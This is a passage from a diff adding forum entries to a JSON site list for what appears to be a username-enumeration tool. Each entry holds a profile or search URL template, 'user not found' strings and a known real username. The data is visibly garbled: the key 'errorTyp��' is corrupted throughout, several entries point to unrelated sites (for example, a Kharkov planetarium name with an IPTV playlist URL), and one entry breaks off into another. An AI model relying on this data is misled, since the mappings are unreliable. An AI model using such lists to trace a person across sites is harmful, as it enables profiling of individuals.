"exclusion": "\\W|[а-яА-Я]", + "url": "https://phantompilots.com/members/?username={}", + "urlMain": "https://phantompilots.com", + "usernameON": "steve12321", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_philippe-fournier": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forum2.philippe-fournier-viger.com/search.php?keywords=&terms=all&author={}=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum2.philippe-fournier-viger.com", + "usernameON": "Alva&sc", + "bad_site": "" + }, + "Forum_philosophicalvegan": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://philosophicalvegan.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://philosophicalvegan.com", + "usernameON": "Hey", + "bad_site": "" + }, + "Forum_phoenixrising": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.phoenixrising.me/members/?username={}", + "urlMain": "https://forums.phoenixrising.me", + "usernameON": "pattismith", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_phoneamommy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.phoneamommy.com/Board/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.phoneamommy.com", + "usernameON": "SitterStacie", + "bad_site": "" + }, + "Forum_photographyreview": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Sorry", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://forums.photographyreview.com/member.php?username={}", + "urlMain": "http://forums.photographyreview.com", + "usernameON": "Weskee32", + "bad_site": "" + }, + "Forum_photographytalk": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "div id=\"system-message\">", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.photographytalk.com/forum/search?searchuser={}&childforums=1", + "urlMain": "https://www.naturescapes.net", + "usernameON": "esseff", + "bad_site": "" + }, + "Forum_photos": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://photos.ucoz.ru/index/8-0-{}", + "urlMain": "https://photos.ucoz.ru", + "usernameON": "photos", + "bad_site": "" + }, + "Forum_photoshara": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://photoshara.ucoz.ru/index/8-0-{}", + "urlMain": "https://photoshara.ucoz.ru", + "usernameON": "hestilurte", + "bad_site": "" + }, + "Forum_phototerritory": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.phototerritory.ru/index/8-0-{}", + "urlMain": "http://www.phototerritory.ru", + "usernameON": "23a3sdasdasd322", + "bad_site": "" + }, + "Forum_phpbb_de": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.phpbb.de/community/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche", + "urlMain": "https://www.phpbb.de", + "usernameON": "db1982", + "comments": "super", + "bad_site": "" + }, + "Forum_phpfreaks": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.phpfreaks.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.phpfreaks.com", + "usernameON": "gizmola", + "bad_site": "" + }, + "Forum_physicianassistant": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.physicianassistantforum.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.physicianassistantforum.com", + "usernameON": "CAAdmission", + "comments": "cf", + "bad_site": "" + }, + "Forum_pickleberrypop": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pickleberrypop.com/forum/members/?username={}", + "urlMain": "https://pickleberrypop.com", + "usernameON": "cathquillscrap", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pickup": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено 0 результатов", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.pickup.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.pickup.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_pigeons": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pigeons.biz/members/?username={}", + "urlMain": "https://www.pigeons.biz", + "usernameON": "utahraptor300", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pilotsofamerica": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pilotsofamerica.com/community/members/?username={}", + "urlMain": "https://www.pilotsofamerica.com", + "usernameON": "wanttaja", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pinclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pinclub.ucoz.ru/index/8-0-{}", + "urlMain": "https://pinclub.ucoz.ru", + "usernameON": "multatuli", + "bad_site": "" + }, + "Forum_pipca": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://pipca.6bb.ru/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://pipca.6bb.ru", + "usernameON": "ola", + "bad_site": "" + }, + "Forum_pirate4x4": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pirate4x4.com/members/?username={}", + "urlMain": "https://www.pirate4x4.com", + "usernameON": "jeepfan2022", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_piratehub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "url": "https://s1.piratehub.biz/members/?username={}", + "urlMain": "https://s1.piratehub.biz", + "usernameON": "timetobefirst", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_pirates": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://piratesforums.co/members/?username={}", + "urlMain": "https://piratesforums.co", + "usernameON": "sergey1337", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pirates-life": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pirates-life.ru/index/8-0-{}", + "urlMain": "http://pirates-life.ru", + "usernameON": "alerg", + "comments": "bad", + "bad_site": "" + }, + "Forum_piratich": { + "country": "🇨🇿", + "country_klas": "CZ", + "errorMsg": "Nebyly nalezeny", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Sorry, ", + "errorTyp��": "message", + "url": "https://forum.pirati.cz/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Hledat", + "urlMain": "https://forum.pirati.cz", + "usernameON": "Hextus", + "bad_site": "" + }, + "Forum_pisatelforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pisatelforum.ucoz.ru/index/8-0-{}", + "urlMain": "https://pisatelforum.ucoz.ru", + "usernameON": "nix", + "bad_site": "" + }, + "Forum_pitbull-abakan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pitbull-abakan.3dn.ru/index/8-0-{}", + "urlMain": "https://pitbull-abakan.3dn.ru", + "usernameON": "Rolandpag", + "bad_site": "" + }, + "Forum_pixelmonrealms": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pixelmonrealms.com/members/?username={}", + "urlMain": "https://pixelmonrealms.com", + "usernameON": "dragonowater", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_pkq-clan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pkq-clan.ucoz.com/index/8-0-{}", + "urlMain": "https://pkq-clan.ucoz.com", + "usernameON": "Pinupduzwah", + "bad_site": "" + }, + "Forum_planet-9": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.planet-9.com/members/?username={}", + "urlMain": "https://www.planet-9.com", + "usernameON": "deilenberger", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_planet-nefelana": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://planet-nefelana.ucoz.ru/index/8-0-{}", + "urlMain": "https://planet-nefelana.ucoz.ru", + "usernameON": "Nefelana", + "bad_site": "" + }, + "Forum_planetarium_kharkov": { + "country": "🇺🇦", + "country_klas": "UA", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://playlist-iptv.ucoz.ru/index/8-0-{}", + "urlMain": "http://playlist-iptv.ucoz.ru", + "usernameON": "altechst", + "bad_site": "" + }, + "Forum_playtime": { + "country": "🇩🇪", + "country_klas": "DE", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.playtime-forum.info/forum/members/?username={}", + "urlMain": "https://www.playtime-forum.info", + "usernameON": "Glumbi", + "bad_site": "" + }, + "Forum_plcforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://plcforum.uz.ua/search.php?keywords=&terms=all&author={}", + "urlMain": "http://plcforum.uz.ua", + "usernameON": "Novice", + "bad_site": "" + }, + "Forum_pling": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "UH OH! You're lost.", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://www.pling.com/u/{}", + "urlMain": "https://www.pling.com", + "usernameON": "dhyegoac2007", + "bad_site": "" + }, + "Forum_plodpitomnik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://plodpitomnik.ru/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://plodpitomnik.ru", + "usernameON": "tag", + "comments": "super", + "bad_site": 1 + }, + "Forum_plumbing": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.plumbingforums.com/members/?username={}", + "urlMain": "https://www.plumbingforums.com/", + "usernameON": "miced69", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pmfun": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "https://forum.pmfun.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.pmfun.com", + "usernameON": "JPSZone", + "bad_site": "" + }, + "Forum_pngindians": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.pngindians.com/members/?username={}", + "urlMain": "https://forums.pngindians.com", + "usernameON": "indianfan", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_podolsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Подольский городской форум - Информация", + "errorTyp��": "message", + "url": "https://forum.podolsk.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.podolsk.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_podrabotka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://podrabotka.3dn.ru/index/8-0-{}", + "urlMain": "https://podrabotka.3dn.ru", + "usernameON": "Tara", + "bad_site": "" + }, + "Forum_podrastem": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://podrastem.com/index/8-0-{}", + "urlMain": "http://podrastem.com", + "usernameON": "spenga", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_poezd-photo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://poezd-photo.ucoz.ru/index/8-0-{}", + "urlMain": "https://poezd-photo.ucoz.ru", + "usernameON": "rafikakenirov", + "bad_site": "" + }, + "Forum_pokatushki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pokatushki.ucoz.ru/index/8-0-{}", + "urlMain": "https://pokatushki.ucoz.ru", + "usernameON": "Mystic", + "bad_site": "" + }, + "Forum_pokebeach": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.pokebeach.com/forums/members/?username={}", + "urlMain": "https://www.pokebeach.com", + "usernameON": "geodugtrio", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_pokemine": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "0 results", + "errorMsg2": "0 user", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "http://forum.pokemine.gg/search/?q={}&type=core_members", + "urlMain": "http://forum.pokemine.gg", + "usernameON": "czoko68", + "bad_site": "" + }, + "Forum_pokemmo": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "Found 0 results", + "errorMsg2": "There were no results for your search. ", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://forums.pokemmo.eu/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.pokemmo.eu", + "usernameON": "kayninexl", + "bad_site": "" + }, + "Forum_pokemonrevolution": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Found 0 results", + "errorMsg2": "There were no results for your search.", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://pokemonrevolution.net/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://pokemonrevolution.net", + "usernameON": "Hack00", + "bad_site": "" + }, + "Forum_pokerchip": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pokerchipforum.com/members/?username={}", + "urlMain": "https://www.pokerchipforum.com", + "usernameON": "dmcl924", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pokersrbija": { + "country": "🇪🇺", + "country_klas": "EU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.pokersrbija.com/u/{}", + "urlMain": "https://forum.pokersrbija.com", + "usernameON": "mim4dayi", + "bad_site": "" + }, + "Forum_pokerus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://pokerus.ru/index/8-0-{}", + "urlMain": "https://pokerus.ru", + "usernameON": "Mult", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_poligon29": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.politik-forum.eu/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.politik-forum.eu", + "usernameON": "Michi", + "bad_site": "" + }, + "Forum_politomsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://politomsk.ru/index/8-0-{}", + "urlMain": "http://politomsk.ru", + "usernameON": "slepuhin198427", + "bad_site": "" + }, + "Forum_polkadot": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.polkadot.network/u/{}/summary", + "urlMain": "https://forum.polkadot.network", + "usernameON": "muddlebee", + "bad_site": "" + }, + "Forum_pominovenieiv": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ponarama.my1.ru/index/8-0-{}", + "urlMain": "https://ponarama.my1.ru", + "usernameON": "realhacking", + "bad_site": "" + }, + "Forum_poodle": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.poodleforum.com/members/?username={}", + "urlMain": "https://www.poodleforum.com/", + "usernameON": "cowpony", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_popasnayalife": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://popasnayalife.at.ua/index/8-0-{}", + "urlMain": "https://popasnayalife.at.ua", + "usernameON": "AlisaBerne", + "bad_site": "" + }, + "Forum_popgun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://popgun.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://popgun.ru", + "usernameON": "igor42", + "comments": "bad", + "bad_site": "" + }, + "Forum_popjustice": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.popjustice.com/members/?username={}", + "urlMain": "https://forum.popjustice.com", + "usernameON": "dumper", + "bad_site": "" + }, + "Forum_porcheAU": { + "country": "🇦🇺", + "country_klas": "AU", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://porscheforum.com.au/search/?q={}&quick=1&type=core_members", + "urlMain": "https://porscheforum.com", + "usernameON": "tomo", + "bad_site": "" + }, + "Forum_porka": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://porki.ucoz.ru/index/8-0-{}", + "urlMain": "https://porki.ucoz.ru", + "usernameON": "porki", + "bad_site": "" + }, + "Forum_pornworld": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pornworld.to/members/?username={}", + "urlMain": "https://pornworld.to", + "usernameON": "popeluka", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_portal-anime": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://portal-anime.ru/index/8-0-{}", + "urlMain": "http://portal-anime.ru", + "usernameON": "SASUKE1744", + "bad_site": "" + }, + "Forum_portirkutsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://portirkutsk.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://portirkutsk.ru", + "usernameON": "Tema28", + "bad_site": "" + }, + "Forum_posol_BLOCK_RU_IP": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://posol.ucoz.ru/index/8-0-{}", + "urlMain": "http://posol.ucoz.ru", + "usernameON": "umtor", + "comments": "bad", + "bad_site": "" + }, + "Forum_postwrestling": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.postwrestling.com/u/{}/summary", + "urlMain": "https://forum.postwrestling.com", + "usernameON": "nealflanagan", + "bad_site": "" + }, + "Forum_poteryashka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "This website is stealing content!", + "errorMsg3": "закрыт", + "errorTyp��": "message", + "url": "http://poteryashka.spb.ru/index/8-0-{}", + "urlMain": "http://poteryashka.spb.ru", + "usernameON": "Chief", + "bad_site": 1, + "comments": "Oplata", + "exclusion": "\\W" + }, + "Forum_potystorony": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://potystorony.ucoz.ru/index/8-0-{}", + "urlMain": "https://potystorony.ucoz.ru", + "usernameON": "zaconnic", + "bad_site": "" + }, + "Forum_pouet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "registered
    403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pravmama.ucoz.ru/index/8-0-{}", + "urlMain": "https://pravmama.ucoz.ru", + "usernameON": "toolni", + "bad_site": "" + }, + "Forum_pravo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pravo.r1v.ru/index/8-0-{}", + "urlMain": "http://pravo.r1v.ru", + "usernameON": "Arkchloush", + "comments": "bad", + "bad_site": 1 + }, + "Forum_pravoslavie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pravoslavie-forum.org/members/?username={}", + "urlMain": "https://pravoslavie-forum.org", + "usernameON": "serg", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pravoslavie-12": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pravoslavie-12.ucoz.ru/index/8-0-{}", + "urlMain": "https://pravoslavie-12.ucoz.ru", + "usernameON": "Admins", + "bad_site": "" + }, + "Forum_pravoslavie-alt": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.pravoslavie-alt.ru/index/8-0-{}", + "urlMain": "https://www.pravoslavie-alt.ru", + "usernameON": "Loginova19", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_pravoslavielove": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pravoslavielove.ucoz.ru/index/8-0-{}", + "urlMain": "https://pravoslavielove.ucoz.ru", + "usernameON": "Oles", + "bad_site": "" + }, + "Forum_predatel": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://predatel.ucoz.ua/index/8-0-{}", + "urlMain": "https://predatel.ucoz.ua", + "usernameON": "Старлей", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_pregnancy": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "robots\" content=\"noindex, nofollow", + "errorMsg3": "Critical Error", + "errorTyp��": "message", + "url": "https://pregnancy.org.ua/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://pregnancy.org.ua", + "usernameON": "Nadinka", + "bad_site": "" + }, + "Forum_prepas": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "Aucun sujet ou message ne correspond à vos critères de recherche.", + "errorMsg2": "Please wait", + "errorMsg3": "Information", + "errorTyp��": "message", + "url": "https://forum.prepas.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.prepas.org", + "usernameON": "red", + "bad_site": "" + }, + "Forum_prepperforums": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.prepperforums.net/members/?username={}", + "urlMain": "https://www.prepperforums.net", + "usernameON": "paraquack", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pressball": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация\n ", + "errorTyp��": "message", + "url": "https://forum.pressball.by/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.pressball.by", + "usernameON": "zalgiris", + "bad_site": 1 + }, + "Forum_pressurewashingresource": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://pressurewashingresource.com/community/u/{}/summary", + "urlMain": "https://pressurewashingresource.com/", + "usernameON": "letterguy", + "bad_site": "" + }, + "Forum_prestashop": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "0 result", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://www.prestashop.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.prestashop.com", + "usernameON": "cmpm", + "bad_site": "" + }, + "Forum_prihoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.prihoz.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.prihoz.ru", + "usernameON": "grawicapa", + "bad_site": "" + }, + "Forum_primat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://primat.org/index/8-0-{}", + "urlMain": "http://primat.org", + "usernameON": "alyonaaaaaa", + "bad_site": "" + }, + "Forum_primetimer": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "There were no results", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.primetimer.com/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.primetimer.com", + "usernameON": "athena", + "comments": "ZAK_user", + "bad_site": "" + }, + "Forum_primhunt": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://primhunt.ru/members/?username={}", + "urlMain": "https://primhunt.ru", + "usernameON": "gap", + "bad_site": "", 